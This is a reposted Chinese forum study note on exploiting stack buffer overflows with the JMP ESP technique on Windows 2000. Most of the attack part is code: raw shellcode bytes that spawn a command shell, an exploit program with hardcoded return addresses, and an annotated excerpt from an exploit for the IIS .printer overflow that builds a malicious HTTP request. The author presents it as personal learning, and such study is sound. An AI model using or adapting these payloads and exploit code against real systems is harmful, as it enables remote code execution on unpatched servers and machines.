发新话题
打印

[转载]溢出学习笔记 JMP ESP

[转载]溢出学习笔记 JMP ESP

文章作者:Sunx

缓冲区溢出这个2年前就想学的东西,可惜自己没有功底,又太心浮气躁,学不成
今天买到书了,在没有什么c++和asm的基础知识底下,开始正式的学习,硬着头皮看

学习环境:
CPU: PII400  哈哈,古董级
内存:64M
系统:win2k+sp0  把原来装了的sp3都删了,哈哈还腾出200m空间


1.JMP ESP利用原理
  最简单来说,就是利用jmp esp的地址来覆盖EIP,然后执行shellcode

结构:

程序代码:
[参数]  [EBP]   [RET] 原EIP    [shellcode]
|------| |-----| |-------------| |-----------|
NNNNNN  NNNNN      J      SSSSSSSSSSS      
                  
N=NOP        JMP ESP的地址    S=SHELLCODE


|   ...   |
|   NOP   |
|   NOP   |<--原EBP
|JMP ESP地址|<--原EIP
|    S    |<--shellcode A
|    S    |
|   ...   |
| 参量地址  |
|   ...   |


程序执行RET即POP EIP,但原来的地址被JMP ESP的地址覆盖,所以POP EIP后,EIP=JMP ESP的地址,而堆栈指

针ESP会往下走,指向ShellCode的开始A点

2.测试程序:

程序代码:
//test.cpp
#include <stdio.h>
#include <string.h>

char name[] ="11111111123456789012";

int main()
{
   char output[8];
      
   strcpy(output, name);  //把name的内容copy到output

   for(int i=0;i<8&&output;i++)

      printf("\\0x%x",output);

   return 0;
}



执行后内存状况
|    ...   |
| 0x31313131 |
| 0x31313131 |
| 0x34333231 |<--原EBP
| 0x38373635 |<--原EIP,5678覆盖了原来的EIP
|    ...   |
|  参量地址  |
|    ...   |

编译执行出错0x38373635内存不能为read,0x38373635对应为5678,其中1234覆盖了原来的EBP,5678覆盖了原

来的EIP,执行到这里时出错了,在exp中需要用JMP ESP的地址来覆盖原来的EIP,然后这时的ESP是指向

shellcode的,所以程序便可以跳转到shellcode
BTW:jmp esp 的机器码是 FF E4

利用jmpesp找出1个JMP ESP地址
[root@POYSKY E:\SOS]#jmpesp 1
jmpesp,  written by sunx
   http://www.sunx.org

User32:
BaseAddress: 0x77df0000
0x77e2e32a [JMP ESP]


有如下shellcode:

程序代码:
//打开dos窗口
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\x8D\x45\xF4\x50\xBA"
"\x23\x80\xE7\x77"      //LoadLibrary win2k+sp0  
"\xFF\xD2"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xad\xaa\x01\x78"      //system win2k+sp0
"\xFF\xD0";




程序代码:
//exp.cpp
#include <stdio.h>
#include <string.h>
#include <windows.h>

char name[] =
"\x41\x41\x41\x41"  //name[0]-name[3]
"\x41\x41\x41\x41"  //name[4]-name[7]
"\x41\x41\x41\x41"  //覆盖ebp
"\x2a\xe3\xe2\x77"   //覆盖成jmp esp的地址,在sp0上的地址0x77e2e32a
           
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\x8D\x45\xF4\x50\xBA"
"\x23\x80\xE7\x77"      //LoadLibrary win2k+sp0  
"\xFF\xD2"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xad\xaa\x01\x78"      //system win2k+sp0
"\xFF\xD0";

int main()
{
   LoadLibrary("user32.dll");  
   char output[8];
   strcpy(output, name);
   for(int i=0;i<8&&output;i++)
      printf("\\0x%x",output);
   return 0;
}



总结一下溢出步骤:
第1步:精确定位返回点
第2步:shellcode编写
第3步:使用jmp esp地址
BTW:win2k,winxp,win2003下jmp esp的通用地址:0x7ffa4512  "\x12\x45\xfa\x7f"


3.实战:分析.printer溢出漏洞的exp

程序代码:
---------------------------------------------------
      int              i, s;
      int              sptype = 0;
      unsigned short int    webport = 80;
      unsigned short int    bindport = 7788;
      char request[2048], jmpcode[281], execode[840];
      struct hostent       *ht;
      struct sockaddr_in    sin;
---------------------------------------------------

      for(i = 0; i < 268; i++)
           jmpcode = (char)NOP; //从相关漏洞分析可知道当对填充到268个字节时就可以覆盖EIP
   
      jmpcode[268] = (char)0x12;
      jmpcode[269] = (char)0x45;
      jmpcode[270] = (char)0xfa;
      jmpcode[271] = (char)0x7f;  //jmp esp的通用地址:0x7ffa4512
     
      jmpcode[272] = (char)0x90;
      jmpcode[273] = (char)0x90;
      jmpcode[274] = (char)0x90;
      jmpcode[275] = (char)0x90;  //填充NOP
      //jmp [ebx+0x64], jump to execute shellcode
      jmpcode[276] = (char)0xff;
      jmpcode[277] = (char)0x63;
      jmpcode[278] = (char)0x64;
      jmpcode[279] = (char)0x90;
      jmpcode[280] = (char)0x00;


      for(i = 0; i < 32; i++)
           execode = (char)NOP;
      execode[32]=(char)0x00;  
      strcat(execode, shellcode);  

      snprintf(request, 2048, "GET http://%s/null.printer?%s HTTP/1.0\r\n\r\n", jmpcode,

execode);



//提交数据为:
//http://[267个NOP][0x7ffa4512][4个NOP][jmp [ebx+0x64]]/null.printer?%s HTTP/1.0\r\n\r\n
//    |   NOP  ||  JMP ESP || NOP  ||jmp [ebx+0x64]||    14个  ||31个NOP||0x00||shellcode|

具体的jmp [ebx+0x64]就可以跳转到shellcode,应该是IIS的处理问题,这里还不太明白:(
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题